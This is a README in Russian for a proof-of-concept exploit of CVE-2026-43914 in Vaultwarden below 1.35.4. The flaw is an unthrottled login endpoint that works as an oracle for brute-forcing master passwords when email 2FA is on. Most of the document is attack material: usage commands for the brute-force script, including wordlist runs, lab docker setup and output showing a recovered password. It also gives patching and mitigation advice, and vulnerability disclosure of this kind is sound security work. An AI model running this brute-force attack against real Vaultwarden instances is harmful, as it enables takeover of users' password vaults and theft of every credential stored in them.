
PoC для CVE-2026-43914: Vaultwarden <1.35.4 — обход email-2FA брутфорсом, оракул пароля. Только стандартная библиотека Python.
Proof-of-concept для CVE-2026-43914: когда включена Email 2FA, защита от
brute-force при входе в Vaultwarden может быть полностью обойдена через
неаутентифицированную конечную точку POST /api/two-factor/send-email-login,
которая действует как неограниченный оракул мастер-пароля.
Затронуты: Vaultwarden < 1.35.4
Vaultwarden — самый популярный самостоятельный менеджер паролей, совместимый с Bitwarden. Администраторы включают Email 2FA, полагая, что это остановит подбор пароля, — но эта конечная точка проверяет хэш мастер-пароля и возвращает отдельный HTTP-статус для правильных/неправильных попыток до применения каких-либо ограничений скорости или блокировки учётной записи:
| Ответ | Значение |
|---|---|
200 | пароль верный (одноразовый код отправлен по email) |
400 «Username or password is incorrect» | пароль неверный |
Злоумышленник, знающий (или угадавший) email жертвы, может подбирать мастер-пароль на полной скорости без какого-либо троттлинга. Email 2FA этому не препятствует.
В src/api/core/two_factor/email.rs обработчик send_email_login проверяет
пароль и при несовпадении завершается с ошибкой — но этот маршрут не зарегистрирован
в middleware защиты от brute-force/лимитирования, которое защищает /identity/connect/token. Каждый вызов:
check_valid_password(master_password_hash) →
err!("Username or password is incorrect") (HTTP 400) при несовпадении,python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# или со словарём:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
Только стандартная библиотека Python 3.
# перехватчик почты
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# уязвимый Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
Создайте тестового пользователя (любым Bitwarden-клиентом или через API), включите Email 2FA (Settings → Two-step Login → Email), затем запустите PoC против него.
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
Обновитесь до Vaultwarden 1.35.4+. До этого: отключите Email 2FA в пользу TOTP/WebAuthn
и разместите экземпляр за обратным прокси с per-IP ограничением скорости на
/api/two-factor/*.
Только для авторизованных исследований безопасности и использования в лабораторных условиях.